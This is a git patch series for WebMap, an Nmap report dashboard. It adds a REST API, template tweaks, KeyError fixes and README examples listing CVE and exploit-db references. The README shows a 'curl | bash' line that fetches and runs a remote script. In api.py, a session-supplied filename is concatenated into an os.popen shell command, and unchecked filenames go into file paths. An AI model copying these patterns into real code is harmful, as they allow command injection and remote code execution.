a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 0000000..60e05c5 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,25 @@ +--- +name: Bug report +about: Create a report to help us improve + +--- + +**Describe the bug** +A clear and concise description of what the bug is. + +**To Reproduce** +Steps to reproduce the behavior, including the Nmap syntax used: + +1. Nmap syntax: ... +2. WebMap in docker container: [x] Yes / [ ] No +3. WebMap version or branch: ... (example: v2.1/master) +3. Step to reproduce: ... + +**Expected behavior** +A clear and concise description of what you expected to happen. + +**Screenshots** +If applicable, add screenshots to help explain your problem. + +**Additional context** +Add any other context about the problem here. diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md new file mode 100644 index 0000000..066b2d9 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.md @@ -0,0 +1,17 @@ +--- +name: Feature request +about: Suggest an idea for this project + +--- + +**Is your feature request related to a problem? Please describe.** +A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] + +**Describe the solution you'd like** +A clear and concise description of what you want to happen. + +**Describe alternatives you've considered** +A clear and concise description of any alternative solutions or features you've considered. + +**Additional context** +Add any other context or screenshots about the feature request here. From 398607289b36015691d29347b5d25345af3769fc Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Thu, 8 Nov 2018 09:55:11 +0000 Subject: [PATCH 29/77] API v1 --- api.py | 157 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ urls.py | 3 ++ views.py | 1 - 3 files changed, 160 insertions(+), 1 deletion(-) diff --git a/api.py b/api.py index cfd1c8d..92a99c3 100644 --- a/api.py +++ b/api.py @@ -2,6 +2,7 @@ from django.http import HttpResponse import xmltodict, json, html, os, hashlib, re, requests, base64, urllib.parse from collections import OrderedDict +from nmapreport.functions import * def rmNotes(request, hashstr): scanfilemd5 = hashlib.md5(str(request.session['scanfile']).encode('utf-8')).hexdigest() @@ -144,3 +145,159 @@ def getCVE(request): f.close() return HttpResponse(json.dumps(res), content_type="application/json") + +def apiv1_hostdetails(request, scanfile, faddress=""): + oo = xmltodict.parse(open('/opt/xml/'+scanfile, 'r').read()) + out2 = json.dumps(oo['nmaprun'], indent=4) + o = json.loads(out2) + + r = {'file':scanfile, 'hosts': {}} + scanmd5 = hashlib.md5(str(scanfile).encode('utf-8')).hexdigest() + + # collect all labels in labelhost dict + labelhost = {} + labelfiles = os.listdir('/opt/notes') + for lf in labelfiles: + m = re.match('^('+scanmd5+')_([a-z0-9]{32,32})\.host\.label$', lf) + if m is not None: + if m.group(1) not in labelhost: + labelhost[m.group(1)] = {} + labelhost[m.group(1)][m.group(2)] = open('/opt/notes/'+lf, 'r').read() + + # collect all notes in noteshost dict + noteshost = {} + notesfiles = os.listdir('/opt/notes') + for nf in notesfiles: + m = re.match('^('+scanmd5+')_([a-z0-9]{32,32})\.notes$', nf) + if m is not None: + if m.group(1) not in noteshost: + noteshost[m.group(1)] = {} + noteshost[m.group(1)][m.group(2)] = open('/opt/notes/'+nf, 'r').read() + + # collect all cve in cvehost dict + cvehost = get_cve(scanmd5) + + for ik in o['host']: + + # this fix single host report + if type(ik) is dict: + i = ik + else: + i = o['host'] + + hostname = {} + if 'hostnames' in i and type(i['hostnames']) is dict: + # hostname = json.dumps(i['hostnames']) + if 'hostname' in i['hostnames']: + # hostname += '
' + if type(i['hostnames']['hostname']) is list: + for hi in i['hostnames']['hostname']: + hostname[hi['@type']] = hi['@name'] + else: + hostname[i['hostnames']['hostname']['@type']] = i['hostnames']['hostname']['@name']; + + if i['status']['@state'] == 'up': + po,pc,pf = 0,0,0 + ss,pp,ost = {},{},{} + lastportid = 0 + + if '@addr' in i['address']: + address = i['address']['@addr'] + elif type(i['address']) is list: + for ai in i['address']: + if ai['@addrtype'] == 'ipv4': + address = ai['@addr'] + + if faddress != "" and faddress != address: + continue + + addressmd5 = hashlib.md5(str(address).encode('utf-8')).hexdigest() + #cpe[address] = {} + + labelout = '' + if scanmd5 in labelhost: + if addressmd5 in labelhost[scanmd5]: + labelout = labelhost[scanmd5][addressmd5] + + notesout,notesb64,removenotes = '','','' + if scanmd5 in noteshost: + if addressmd5 in noteshost[scanmd5]: + notesb64 = noteshost[scanmd5][addressmd5] + # notesout = '
contains notes' + # removenotes = '

Remove notes

' + + cveout = '' + #cvecount = 0 + if scanmd5 in cvehost: + if addressmd5 in cvehost[scanmd5]: + cveout = json.loads(cvehost[scanmd5][addressmd5]) + # for cveobj in cvejson: + # cvecount = (cvecount + 1) + + + r['hosts'][address] = {'ports':[], 'hostname':hostname, 'label':labelout, 'notes':notesb64, 'CVE':cveout} + + if 'ports' in i and 'port' in i['ports']: + for pobj in i['ports']['port']: + if type(pobj) is dict: + p = pobj + else: + p = i['ports']['port'] + + if lastportid == p['@portid']: + continue + else: + lastportid = p['@portid'] + + ss[p['service']['@name']] = p['service']['@name'] + pp[p['@portid']] = p['@portid'] + + r['hosts'][address]['ports'].append({ + 'port': p['@portid'], + 'name': p['service']['@name'], + 'state': p['state']['@state'] + }) + + return HttpResponse(json.dumps(r, indent=4), content_type="application/json") + + +def apiv1_scan(request): + r = {} + + gitcmd = os.popen('cd /opt/nmapdashboard/nmapreport && git rev-parse --abbrev-ref HEAD') + r['webmap_version'] = gitcmd.read().strip() + + xmlfiles = os.listdir('/opt/xml') + + r['scans'] = {} + + xmlfilescount = 0 + for i in xmlfiles: + if re.search('\.xml$', i) is None: + continue + + xmlfilescount = (xmlfilescount + 1) + + try: + oo = xmltodict.parse(open('/opt/xml/'+i, 'r').read()) + except: + r['scans'][i] = {'filename':html.escape(i), 'startstr': '', 'nhost':0, 'port_stats':{'open':0,'closed':0,'filtered':0}} + continue + + rout = json.dumps(oo['nmaprun'], indent=4) + o = json.loads(rout) + + if 'host' in o: + if type(o['host']) is not dict: + hostnum = str(len(o['host'])) + else: + hostnum = '1' + else: + hostnum = '0' + + portstats = nmap_ports_stats(i) + + r['scans'][i] = {'filename':html.escape(i), 'startstr': html.escape(o['@startstr']), 'nhost':hostnum, 'port_stats':{'open':portstats['po'],'closed':portstats['pc'],'filtered':portstats['pf']}} + + return HttpResponse(json.dumps(r, indent=4), content_type="application/json") + diff --git a/urls.py b/urls.py index bd0b362..e942e1d 100644 --- a/urls.py +++ b/urls.py @@ -8,6 +8,9 @@ path('port//', views.port, name='port'), path('service//', views.index, name='service'), path('portid//', views.index, name='portid'), + path('api/v1/scan//', api.apiv1_hostdetails, name='apiv1_hostdetails'), + path('api/v1/scan/', api.apiv1_hostdetails, name='apiv1_hostdetails'), + path('api/v1/scan', api.apiv1_scan, name='apiv1_scan'), path('api/setlabel////', api.label, name='api_label'), path('api/rmlabel///', api.rmlabel, name='api_rmlabel'), path('api/pdf/', api.genPDF, name='genPDF'), diff --git a/views.py b/views.py index 2e83e0c..741c52e 100644 --- a/views.py +++ b/views.py @@ -330,7 +330,6 @@ def index(request, filterservice="", filterportid=""): return render(request, 'nmapreport/nmap_xmlfiles.html', r) - scanmd5 = hashlib.md5(str(request.session['scanfile']).encode('utf-8')).hexdigest() r['scanfile'] = html.escape(str(request.session['scanfile'])) r['scanmd5'] = scanmd5 From fec4c44d0e9282d62c71619b24fb29cd7ad1c3f8 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Fri, 9 Nov 2018 10:33:00 +0000 Subject: [PATCH 30/77] fix api results --- api.py | 37 +++++++++++++++++++++++++++++++------ 1 file changed, 31 insertions(+), 6 deletions(-) diff --git a/api.py b/api.py index 92a99c3..9fa44f0 100644 --- a/api.py +++ b/api.py @@ -235,7 +235,10 @@ def apiv1_hostdetails(request, scanfile, faddress=""): # cvecount = (cvecount + 1) - r['hosts'][address] = {'ports':[], 'hostname':hostname, 'label':labelout, 'notes':notesb64, 'CVE':cveout} + if faddress == "": + r['hosts'][address] = {'hostname':hostname, 'label':labelout, 'notes':notesb64} + else: + r['hosts'][address] = {'ports':[], 'hostname':hostname, 'label':labelout, 'notes':notesb64, 'CVE':cveout} if 'ports' in i and 'port' in i['ports']: for pobj in i['ports']['port']: @@ -252,11 +255,33 @@ def apiv1_hostdetails(request, scanfile, faddress=""): ss[p['service']['@name']] = p['service']['@name'] pp[p['@portid']] = p['@portid'] - r['hosts'][address]['ports'].append({ - 'port': p['@portid'], - 'name': p['service']['@name'], - 'state': p['state']['@state'] - }) + v,z,e='','','' + if '@version' in p['service']: + v = p['service']['@version'] + #else: + # v = 'no-version' + + if '@product' in p['service']: + z = p['service']['@product'] + #else: + # z = 'no-product' + + if '@extrainfo' in p['service']: + e = p['service']['@extrainfo'] + #else: + # e = 'no-info' + + if faddress != "": + r['hosts'][address]['ports'].append({ + 'port': p['@portid'], + 'name': p['service']['@name'], + 'state': p['state']['@state'], + 'protocol': p['@protocol'], + 'reason': p['state']['@reason'], + 'product': z, + 'version': v, + 'extrainfo': e + }) return HttpResponse(json.dumps(r, indent=4), content_type="application/json") From f496f14e21ea36c59bd9218f755fad5b928a9ae7 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Fri, 9 Nov 2018 10:33:57 +0000 Subject: [PATCH 31/77] change results template --- static/async.js | 4 +- templates/nmapreport/nmap_hostdetails.html | 93 ++++++++++++---------- views.py | 35 +++++--- 3 files changed, 78 insertions(+), 54 deletions(-) diff --git a/static/async.js b/static/async.js index 5297c84..29d4818 100644 --- a/static/async.js +++ b/static/async.js @@ -33,7 +33,6 @@ function checkCVE() { return 0; - cpetot = Object.keys(cpe).length; console.log(cpetot); @@ -72,7 +71,6 @@ function checkCVE() { $('#modalfooter').html(''); } }, 2000); - } function checkCPETOT() { @@ -231,7 +229,7 @@ function setLabel(type, label, hashstr, i) { $('#hostlabelbb'+i).css("position", 'absolute') $('#hostlabelbb'+i).css("width", '18px') $('#hostlabelbb'+i).css("height", '10px') - $('#hostlabelbb'+i).css("margin-left", '-48px') + $('#hostlabelbb'+i).css("margin-left", '-54px') $('#hostlabelbb'+i).css("margin-top", '-3px') $('#hostlabelbb'+i).attr("class","") $('#hostlabelbb'+i).addClass(color); diff --git a/templates/nmapreport/nmap_hostdetails.html b/templates/nmapreport/nmap_hostdetails.html index 2d87294..80e2a15 100644 --- a/templates/nmapreport/nmap_hostdetails.html +++ b/templates/nmapreport/nmap_hostdetails.html @@ -62,49 +62,62 @@ {{ js|safe }} -

- - - - - - {% for i,v in tr.items %} - - - {{ v.portstate|safe }} - - - - - - {% endfor %} - -

Host	Port State	Tot Ports	Services	Ports
+ {% for i,v in tr.items %} + + + + + + {{ v.hostindex }} {{ v.newlabelout\|safe }} - {{ i }}{{ v.hostname\|safe }} - {{ v.notesout\|safe }} - {{ v.cveout\|safe }} -	- {{ v.totports }} -	{{ v.services\|safe }}	+ {{ i }} {{ v.hostname\|safe }} + + {{ v.po }} + {{ v.pc }} + {{ v.pf }} + + + + OPEN PORTS % + {{ v.portstate\|safe }} + + {% if v.tags\|length > 0 %} + GUESSED TAGS + {% for i in v.tags %} + #{{ i }} + {% endfor %} + {% endif %} + + + SERVICES + {{ v.services\|safe }} + + + PORTS {{ v.ports\|safe }} -	- - Vulnerable - Critical - Warning - Checked - Remove label - - Insert notes - {{ v.removenotes\|safe }} - - + + + -

+ + + + {{ v.notesout|safe }} + + {{ v.cveout|safe }} +

+ {% endfor %}

{% endblock %} diff --git a/views.py b/views.py index 741c52e..bd1fd21 100644 --- a/views.py +++ b/views.py @@ -378,12 +378,12 @@ def index(request, filterservice="", filterportid=""): if 'hostnames' in i and type(i['hostnames']) is dict: # hostname = json.dumps(i['hostnames']) if 'hostname' in i['hostnames']: - hostname += '
' + #hostname += '
' if type(i['hostnames']['hostname']) is list: for hi in i['hostnames']['hostname']: - hostname += ''+hi['@type']+': '+hi['@name']+'
' + hostname += '

'+hi['@type']+': '+hi['@name']+'

' else: - hostname += ''+i['hostnames']['hostname']['@type']+': '+i['hostnames']['hostname']['@name']+'
' + hostname += '

'+i['hostnames']['hostname']['@type']+': '+i['hostnames']['hostname']['@name']+'

' if i['status']['@state'] == 'up': hostsup = (hostsup + 1) @@ -403,6 +403,7 @@ def index(request, filterservice="", filterportid=""): cpe[address] = {} striggered = False + e = '' if 'ports' in i and 'port' in i['ports']: for pobj in i['ports']['port']: if type(pobj) is dict: @@ -424,6 +425,9 @@ def index(request, filterservice="", filterportid=""): ss[p['service']['@name']] = p['service']['@name'] pp[p['@portid']] = p['@portid'] + if '@extrainfo' in p['service']: + e = p['service']['@extrainfo'] + # cpehtml = '' if 'cpe' in p['service']: if type(p['service']['cpe']) is list: @@ -491,14 +495,14 @@ def index(request, filterservice="", filterportid=""): labelmargin = labelToMargin(labelhost[scanmd5][addressmd5]) labelout = ''+html.escape(labelhost[scanmd5][addressmd5])+'' newlabelout = '

'+html.escape(labelhost[scanmd5][addressmd5])+'

'+\ - '

' + '

' notesout,notesb64,removenotes = '','','' if scanmd5 in noteshost: if addressmd5 in noteshost[scanmd5]: notesb64 = noteshost[scanmd5][addressmd5] - notesout = '
contains notes' - removenotes = '

Remove notes

' + notesout = ' contains notes' + removenotes = '

Remove notes

' cveout = '' cvecount = 0 @@ -508,17 +512,25 @@ def index(request, filterservice="", filterportid=""): for cveobj in cvejson: cvecount = (cvecount + 1) - cveout = '
'+str(cvecount)+' CVE found' + cveout = ' '+str(cvecount)+' CVE found' if (filterservice != "" and striggered is True) or (filterportid != "" and striggered is True) or (filterservice == "" and filterportid == ""): - portstateout = '

'+\ + portstateout = '

'+\ '

'+str(po)+'

'+\ - '

' + '

' if (filterservice != "" and striggered is True): - portstateout = '

'+\ + portstateout = '

'+\ '

'+str(po)+'

'+\ - '

' + '

' + + tags = [] + extrainfosplit = e.split(' ') + for eis in extrainfosplit: + if re.search('[a-zA-Z0-9\_]+\/[0-9\.]+', eis) is not None: + robj = re.search('([a-zA-Z0-9\_]+)\/([0-9\.]+)', eis) + tags.append(robj.group(1)+' '+robj.group(2)) + r['tr'][address] = { 'hostindex': str(hostindex), @@ -530,6 +542,7 @@ def index(request, filterservice="", filterportid=""): 'po': po, 'pc': pc, 'pf': pf, + 'tags':tags, 'totports': str((po + pf + pc)), 'services': str(services[0:-2]), 'ports': str(tdports[0:-2]), From 735e1cc5d2ddb0b8550de6347d360f966155313c Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Fri, 9 Nov 2018 13:01:34 +0000 Subject: [PATCH 32/77] update readme --- README.md | 149 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 149 insertions(+) diff --git a/README.md b/README.md index 890b263..b836774 100644 --- a/README.md +++ b/README.md @@ -9,12 +9,14 @@ A Web Dashbord for Nmap XML Report ## Table Of Contents - [Usage](#usage) +- [Video](#video) - [Features](#features) - [Changes on v2.1](#changes-on-v21) - [PDF Report](#pdf-report) - [XML Filenames](#xml-filenames) - [CVE and Exploits](#cve-and-exploits) - [Network View](#network-view) +- [RESTful API](#restful-api) - [Third Parts](#third-parts) - [Security Issues](#security-issues) - [Contributors](#contributors) @@ -60,6 +62,12 @@ $ curl -sL http://bit.ly/webmapsetup | bash This project is designed to run on a Docker container. IMHO it isn't a good idea to run this on a custom Django installation, but if you need it you can find all building steps inside the [Dockerfile](https://github.com/Rev3rseSecurity/WebMap/blob/v2.1/master/docker/Dockerfile). +## Video +The HTML template changes often. This video could not be up to date with the latest version. + +[![IMAGE ALT TEXT HERE](https://img.youtube.com/vi/TujtG1Ki0TQ/0.jpg)](https://www.youtube.com/watch?v=TujtG1Ki0TQ) + + ## Features - Import and parse Nmap XML files - Statistics and Charts on discovered services, ports, OS, etc... @@ -69,12 +77,14 @@ but if you need it you can find all building steps inside the [Dockerfile](https - Create a PDF Report with charts, details, labels and notes - Copy to clipboard as Nikto, Curl or Telnet commands - Search for CVE and Exploits based on CPE collected by Nmap +- RESTful API ## Changes on v2.1 - Better usage of Django template - Fixed some Nmap XML parse problems - Fixed CVE and Exploit collecting problems - Add new Network View +- Add RESTful API ## PDF Report ![WebMap](https://i.imgur.com/alWZix9.png) @@ -97,6 +107,145 @@ Not all CPE are checked over the circl.lu API, but only when a specific version ## Network View ![WebMap](https://i.imgur.com/j77jQz9.png) +## RESTful API +From `v2.1` WebMap has a RESTful API frontend that makes users able to query their scan files with something like: + +```bash +curl -s 'http://localhost:8000/api/v1/scan' + + "webmap_version": "v2.1/master", + "scans": { + "scanme.nmap.org.xml": { + "filename": "scanme.nmap.org.xml", + "startstr": "Sun Nov 4 16:22:46 2018", + "nhost": "1", + "port_stats": { + "open": 42, + "closed": 0, + "filtered": 0 + } + }, + "hackthebox.xml": { + "filename": "hackthebox.xml", + "startstr": "Mon Oct 8 20:56:32 2018", + "nhost": "256", + "port_stats": { + "open": 67, + "closed": 0, + "filtered": 2 + } + } + } +} +``` + +A user can get information about a single scan by append to the URL the XML filename: + +```bash +curl -v 'http://localhost:8000/api/v1/scan/hackthebox.xml' + +{ + "file": "hackthebox.xml", + "hosts": { + "10.10.10.2": { + "hostname": {}, + "label": "", + "notes": "" + }, + "10.10.10.72": { + "hostname": { + "PTR": "streetfighterclub.htb" + }, + "label": "", + "notes": "" + }, + "10.10.10.76": { + "hostname": {}, + "label": "", + "notes": "" + }, + "10.10.10.77": { + "hostname": {}, + "label": "Vulnerable", + "notes": "PHNwYW4gY2xhc3M9ImxhYmVsIGdyZWVuIj5SRU1FRElBVElPTjwvc3Bhbj4gVXBncmFkZSB0byB0aGUgbGF0ZXN0IHZlcnNpb24g" + }, +... +``` + +and he can get all information about a single host by append the IP address to URL: + +```bash +curl -v 'http://localhost:8000/api/v1/scan/hackthebox.xml/10.10.10.87' + + "file": "hackthebox.xml", + "hosts": { + "10.10.10.87": { + "ports": [ + { + "port": "22", + "name": "ssh", + "state": "open", + "protocol": "tcp", + "reason": "syn-ack", + "product": "OpenSSH", + "version": "7.5", + "extrainfo": "protocol 2.0" + }, + { + "port": "80", + "name": "http", + "state": "open", + "protocol": "tcp", + "reason": "syn-ack", + "product": "nginx", + "version": "1.12.2", + "extrainfo": "" + }, + { + "port": "8888", + "name": "sun-answerbook", + "state": "filtered", + "protocol": "tcp", + "reason": "no-response", + "product": "", + "version": "", + "extrainfo": "" + } + ], + "hostname": {}, + "label": "Checked", + "notes": "", + "CVE": [ + { + "Modified": "2018-08-17T15:29:00.253000", + "Published": "2018-08-17T15:29:00.223000", + "cvss": "5.0", + "cwe": "CWE-200", + "exploit-db": [ + { + "description": "OpenSSH 7.7 - Username Enumeration. CVE-2018-15473. Remote exploit for Linux platform", + "file": "exploits/linux/remote/45233.py", + "id": "EDB-ID:45233", + "last seen": "2018-08-21", + "modified": "2018-08-21", + "platform": "linux", + "port": "", + "published": "2018-08-21", + "reporter": "Exploit-DB", + "source": "https://www.exploit-db.com/download/45233/", + "title": "OpenSSH 7.7 - Username Enumeration", + "type": "remote" + }, + { + "id": "EDB-ID:45210" + } + ], + "id": "CVE-2018-15473", + "last-modified": "2018-11-02T06:29:06.993000", + "metasploit": [ +... +``` + ## Third Parts - [Django](https://www.djangoproject.com) - [Materialize CSS](https://materializecss.com) From 2933847bd3fefad1fa0a8a8b766d63336d5b82e9 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Fri, 9 Nov 2018 16:34:17 +0000 Subject: [PATCH 33/77] fix port details --- templates/nmapreport/nmap_portdetails.html | 4 ++-- views.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/templates/nmapreport/nmap_portdetails.html b/templates/nmapreport/nmap_portdetails.html index 8587b2b..7246f0b 100644 --- a/templates/nmapreport/nmap_portdetails.html +++ b/templates/nmapreport/nmap_portdetails.html @@ -53,13 +53,13 @@

{{ scanfile }} {{ v.extrainfo|safe }} - {% endfor %} diff --git a/views.py b/views.py index bd1fd21..d69d453 100644 --- a/views.py +++ b/views.py @@ -59,8 +59,8 @@ def details(request, address): cvehost = get_cve(scanmd5) r['trhead'] = 'PortProduct / VersionExtra Info ' - pel=0 for ik in o['host']: + pel=0 # this fix single host report if type(ik) is dict: i = ik From 3f41ec7ce9493ad79724cb03f7656751132c82d4 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Tue, 13 Nov 2018 16:42:44 +0000 Subject: [PATCH 34/77] fix issue #26 KeyError --- functions.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/functions.py b/functions.py index dd672a8..388eac8 100644 --- a/functions.py +++ b/functions.py @@ -80,7 +80,9 @@ def nmap_ports_stats(scanfile): else: lastportid = p['@portid'] - ss[p['service']['@name']] = p['service']['@name'] + if 'service' in p: + ss[p['service']['@name']] = p['service']['@name'] + pp[p['@portid']] = p['@portid'] if p['state']['@state'] == 'closed': From 5b18e6a66bd253e47b65cd007ccf7272d207719d Mon Sep 17 00:00:00 2001 From: Rev3rseSecurity <36775664+Rev3rseSecurity@users.noreply.github.com> Date: Tue, 13 Nov 2018 17:03:22 +0000 Subject: [PATCH 35/77] fix issue #26 KeyError on all files --- network.py | 29 ++++++++++++++-------------- pdf.py | 44 ++++++++++++++++++++++++------------------ views.py | 56 +++++++++++++++++++++++++++++++----------------------- 3 files changed, 73 insertions(+), 56 deletions(-) diff --git a/network.py b/network.py index 59206a2..37c90f9 100644 --- a/network.py +++ b/network.py @@ -103,20 +103,21 @@ def visjs(request): v,z,e = '','','' - if '@version' in p['service']: - portnodes[addressmd5][p['@portid']]['version'] = p['service']['@version'] - else: - portnodes[addressmd5][p['@portid']]['version'] = 'No Version' - - if '@product' in p['service']: - portnodes[addressmd5][p['@portid']]['product'] = p['service']['@product'] - else: - portnodes[addressmd5][p['@portid']]['product'] = 'No Product' - - if '@extrainfo' in p['service']: - portnodes[addressmd5][p['@portid']]['extrainfo'] = p['service']['@extrainfo'] - else: - portnodes[addressmd5][p['@portid']]['extrainfo'] = '' + if 'service' in p: + if '@version' in p['service']: + portnodes[addressmd5][p['@portid']]['version'] = p['service']['@version'] + else: + portnodes[addressmd5][p['@portid']]['version'] = 'No Version' + + if '@product' in p['service']: + portnodes[addressmd5][p['@portid']]['product'] = p['service']['@product'] + else: + portnodes[addressmd5][p['@portid']]['product'] = 'No Product' + + if '@extrainfo' in p['service']: + portnodes[addressmd5][p['@portid']]['extrainfo'] = p['service']['@extrainfo'] + else: + portnodes[addressmd5][p['@portid']]['extrainfo'] = '' # this fix single host report if type(ik) is not dict: diff --git a/pdf.py b/pdf.py index 44f9694..b0d34c4 100644 --- a/pdf.py +++ b/pdf.py @@ -121,16 +121,17 @@ def reportPDFView(request): counters['pf'] = (counters['pf'] + 1) hostcounters['pf'] = (hostcounters['pf'] + 1) - if '@ostype' in p['service']: - if p['service']['@ostype'] in counters['ostype']: - counters['ostype'][p['service']['@ostype']] = (counters['ostype'][p['service']['@ostype']] +1) - else: - counters['ostype'][p['service']['@ostype']] = 1; + if 'service' in p: + if '@ostype' in p['service']: + if p['service']['@ostype'] in counters['ostype']: + counters['ostype'][p['service']['@ostype']] = (counters['ostype'][p['service']['@ostype']] +1) + else: + counters['ostype'][p['service']['@ostype']] = 1; - if p['service']['@name'] in counters['ss']: - counters['ss'][p['service']['@name']] = (counters['ss'][p['service']['@name']] + 1) - else: - counters['ss'][p['service']['@name']] = 1 + if p['service']['@name'] in counters['ss']: + counters['ss'][p['service']['@name']] = (counters['ss'][p['service']['@name']] + 1) + else: + counters['ss'][p['service']['@name']] = 1 if p['@portid'] in counters['pi']: counters['pi'][p['@portid']] = (counters['pi'][p['@portid']] + 1) @@ -138,25 +139,32 @@ def reportPDFView(request): counters['pi'][p['@portid']] = 1 hdhtml_product = '' - if '@product' in p['service']: - hdhtml_product = html.escape(p['service']['@product']) - else: - hdhtml_product = 'No Product' + if 'service' in p: + if '@product' in p['service']: + hdhtml_product = html.escape(p['service']['@product']) + else: + hdhtml_product = 'No Product' hdhtml_version = '' - if '@version' in p['service']: - hdhtml_version = html.escape(p['service']['@version']) - else: - hdhtml_version = 'No Version' + if 'service' in p: + if '@version' in p['service']: + hdhtml_version = html.escape(p['service']['@version']) + else: + hdhtml_version = 'No Version' hdhtml_protocolor = 'grey' if p['@protocol'] == 'tcp': hdhtml_protocolor = 'blue' elif p['@protocol'] == 'udp': hdhtml_protocolor = 'red' + + if 'service' in p: + servicename = p['service']['@name'] + else: + servicename = '' hostdetails_html_tr += ''+\ - ' '+p['@protocol']+' / '+p['@portid']+'
'+p['service']['@name']+''+\ + ' '+p['@protocol']+' / '+p['@portid']+'
'+servicename+''+\ ' '+hdhtml_stateico+' '+p['state']['@state']+''+\ ' '+hdhtml_product+' / '+hdhtml_version+''+\ '' diff --git a/views.py b/views.py index d69d453..c662172 100644 --- a/views.py +++ b/views.py @@ -122,8 +122,9 @@ def details(request, address): pel = (pel + 1) oshtml = '' - if '@ostype' in p['service']: - oshtml = '

Operating System
'+html.escape(p['service']['@ostype'])+'

' + if 'service' in p: + if '@ostype' in p['service']: + oshtml = '

Operating System
'+html.escape(p['service']['@ostype'])+'

' so = '' if 'script' in p: @@ -185,8 +186,13 @@ def details(request, address): ''+\ '' elif p['state']['@state'] == 'filtered': + if 'service' in p: + servicename = p['service']['@name'] + else: + servicename = '' + r['tr'][p['@portid']] = { - 'service': p['service']['@name'], + 'service': servicename, 'protocol': p['@protocol'], 'portid': p['@portid'], 'state': p['state']['@state'], @@ -194,7 +200,7 @@ def details(request, address): 'pel': str(pel) } r['trhost'] += ''+p['@protocol']+' / '+p['@portid']+'
'+\ - ''+p['service']['@name']+''+\ + ''+servicename+''+\ 'State: filtered
Reason: '+p['state']['@reason']+''+\ '' else: @@ -422,33 +428,35 @@ def index(request, filterservice="", filterportid=""): if filterportid != "" and p['@portid'] == filterportid: striggered = True - ss[p['service']['@name']] = p['service']['@name'] pp[p['@portid']] = p['@portid'] - if '@extrainfo' in p['service']: - e = p['service']['@extrainfo'] + if 'service' in p: + ss[p['service']['@name']] = p['service']['@name'] - # cpehtml = '' - if 'cpe' in p['service']: - if type(p['service']['cpe']) is list: - for cpei in p['service']['cpe']: - cpe[address][cpei] = cpei - else: - cpe[address][p['service']['cpe']] = p['service']['cpe'] + if '@extrainfo' in p['service']: + e = p['service']['@extrainfo'] + + # cpehtml = '' + if 'cpe' in p['service']: + if type(p['service']['cpe']) is list: + for cpei in p['service']['cpe']: + cpe[address][cpei] = cpei + else: + cpe[address][p['service']['cpe']] = p['service']['cpe'] - if '@ostype' in p['service']: - if p['service']['@ostype'] in allostypelist: - allostypelist[p['service']['@ostype']] = (allostypelist[p['service']['@ostype']] +1) - else: - allostypelist[p['service']['@ostype']] = 1; + if '@ostype' in p['service']: + if p['service']['@ostype'] in allostypelist: + allostypelist[p['service']['@ostype']] = (allostypelist[p['service']['@ostype']] +1) + else: + allostypelist[p['service']['@ostype']] = 1; - ost[p['service']['@ostype']] = p['service']['@ostype'] + ost[p['service']['@ostype']] = p['service']['@ostype'] - if p['service']['@name'] in sscount: - sscount[p['service']['@name']] = (sscount[p['service']['@name']] + 1) - else: - sscount[p['service']['@name']] = 1 + if p['service']['@name'] in sscount: + sscount[p['service']['@name']] = (sscount[p['service']['@name']] + 1) + else: + sscount[p['service']['@name']] = 1 if p['@portid'] in picount: picount[p['@portid']] = (picount[p['@portid']] + 1) From dd45fcd82c1c8b17a925fa5fd1d25ad9971776ea Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Wed, 14 Nov 2018 14:33:20 +0000 Subject: [PATCH 36/77] scan from web, scheduled scan --- api.py | 7 ++ functions_nmap.py | 53 ++++++++ nmap/cron.py | 37 ++++++ nmap/cve.py | 111 +++++++++++++++++ nmap/nse/CVE-2018-7600_drupalgeddon.nse | 62 +++++++++ nmap/schedule/.gitignore | 2 + pdf.py | 49 +++++--- requirements.txt | 1 + static/async.js | 90 ++++++++++++++ templates/nmapreport/nmap_hostdetails.html | 9 ++ templates/nmapreport/nmap_portdetails.html | 1 + templates/nmapreport/nmap_xmlfiles.html | 13 +- urls.py | 4 +- views.py | 138 +++++++++++++-------- 14 files changed, 504 insertions(+), 73 deletions(-) create mode 100644 functions_nmap.py create mode 100644 nmap/cron.py create mode 100644 nmap/cve.py create mode 100644 nmap/nse/CVE-2018-7600_drupalgeddon.nse create mode 100644 nmap/schedule/.gitignore diff --git a/api.py b/api.py index 9fa44f0..2b57648 100644 --- a/api.py +++ b/api.py @@ -108,8 +108,15 @@ def genPDF(request): def getCVE(request): res = {} + if request.method == "POST": scanfilemd5 = hashlib.md5(str(request.session['scanfile']).encode('utf-8')).hexdigest() + cveproc = os.popen('python3 /opt/nmapdashboard/nmapreport/nmap/cve.py '+request.session['scanfile']) + res['cveout'] = cveproc.read() + cveproc.close() + + return HttpResponse(json.dumps(res), content_type="application/json") + #hostmd5 = hashlib.md5(str(request.POST['host']).encode('utf-8')).hexdigest() #portmd5 = hashlib.md5(str(request.POST['port']).encode('utf-8')).hexdigest() diff --git a/functions_nmap.py b/functions_nmap.py new file mode 100644 index 0000000..16c06ff --- /dev/null +++ b/functions_nmap.py @@ -0,0 +1,53 @@ +from django.shortcuts import render +from django.http import HttpResponse +from django.conf import settings +import os, re, json, hashlib, time + +def nmap_scaninfo(request): + tmpfiles = os.listdir('/tmp/') + + res = {'out':[], 'scans':{}} + + for ff in tmpfiles: + if re.search('\.xml.active$', ff) is not None: + f = ff[0:-7] + res['scans'][f] = {'status':'active'} + with open('/tmp/'+ff) as n: + lines = n.readlines() + for line in lines: + #res['out'].append(line.strip()) + # + + rx = re.search('args\=.+\-oX \/tmp\/(.+\.xml).+ start\=.+ startstr\=.(.+). version\=', line.strip()) + if rx is not None: + res['scans'][f]['filename'] = rx.group(1) + res['scans'][f]['startstr'] = rx.group(2) + + rx = re.search('scaninfo 